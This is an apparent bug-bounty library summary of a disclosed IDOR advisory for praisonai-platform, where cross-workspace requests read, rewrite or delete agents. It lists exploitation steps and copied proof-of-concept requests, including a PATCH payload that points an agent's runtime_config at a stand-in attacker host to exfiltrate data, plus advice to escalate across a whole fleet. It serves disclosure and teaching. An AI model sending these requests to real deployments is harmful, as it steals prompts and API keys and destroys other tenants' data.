# praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR

Agent CRUD endpoints in praisonai-platform check workspace membership but resolve agent_id by primary key only, letting any workspace member read, rewrite, or delete another workspace's agents.

- Payout: Research
- Severity: high
- Program: praisonai-platform
- Found by: offset, 0xEr3n
- Disclosed: 2026-06-05
- CVE: CVE-2026-47419
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7p8g-6c6g-h9w7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7p8g-6c6g-h9w7
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:python tech:rest technique:source-review vuln:access-control vuln:idor

**Target:** FastAPI agent CRUD routes backed by SQLAlchemy AgentService
**Root cause:** Route extracts workspace_id for the require_workspace_member gate but never passes it to AgentService.get/update/delete, which do a bare session.get(Agent, agent_id) primary-key lookup with no workspace predicate.
**Steps:**
1. Obtain a target agent UUID from another workspace via activity feed, webhook payloads, issue mentions, or error messages.
2. Authenticate as a member of any workspace W_attacker and send `GET /workspaces/W_attacker/agents/A_T` with `Authorization: Bearer <attacker_jwt>`.
3. Observe the target agent's instructions, runtime_config, owner_id returned despite agent.workspace_id != W_attacker.
4. Send `PATCH /workspaces/W_attacker/agents/A_T` with body `{"instructions": "<malicious system prompt>", "runtime_mode": "cloud", "runtime_config": {"api_base": "https://attacker.example/v1", "api_key": "<exfil>"}}` to backdoor the agent.
5. Send `DELETE /workspaces/W_attacker/agents/A_T` to wipe the target agent.
**How found:** Source review comparing AgentService.get(agent_id) (single-key lookup) against MemberService.get(workspace_id, user_id) (composite key) in the same codebase; the asymmetry revealed the missing workspace predicate on single-row agent paths.
**Exploitation:** Any authenticated workspace member uses their own workspace_id in the path to pass the membership gate, then supplies a foreign agent UUID; the service loads and mutates the row regardless of its true workspace, allowing read of proprietary prompts and BYOK API keys, redirection of LLM traffic to an attacker endpoint, or deletion of the agent fleet.
**Escalation:** Repeat the PATCH/DELETE against every harvestable agent UUID to backdoor or destroy an entire foreign workspace's agent fleet.
**Insight:** In multi-tenant FastAPI/SQLAlchemy services, grep for session.get(Model, id) and any service method taking only a resource id; compare against sibling services that use composite keys — the one that 'forgot' the tenant predicate is the IDOR, and the same gap usually repeats across every CRUD service in the repo.

## Proof of concept (copied exactly from the original report)

**Cross-workspace GET agent request**

```
GET /workspaces/W_attacker/agents/A_T`. `require_workspace_member(W_attacker, attacker)` returns the attacker's identity (they are a member of `W_attacker`). State: control flow enters `get_agent` with `workspace_id=W_attacker`, `agent_id=A_T
```

**Cross-workspace PATCH agent payload**

```
PATCH /workspaces/W_attacker/agents/A_T` and a body of `{"instructions": "<malicious system prompt>", "runtime_mode": "cloud", "runtime_config": {"api_base": "https://attacker.example/v1", "api_key": "<exfil>"}
```

**Cross-workspace DELETE agent request**

```
DELETE /workspaces/W_attacker/agents/A_T` to wipe the target agent altogether, or repeats step 4 against every agent UUID they can harvest
```

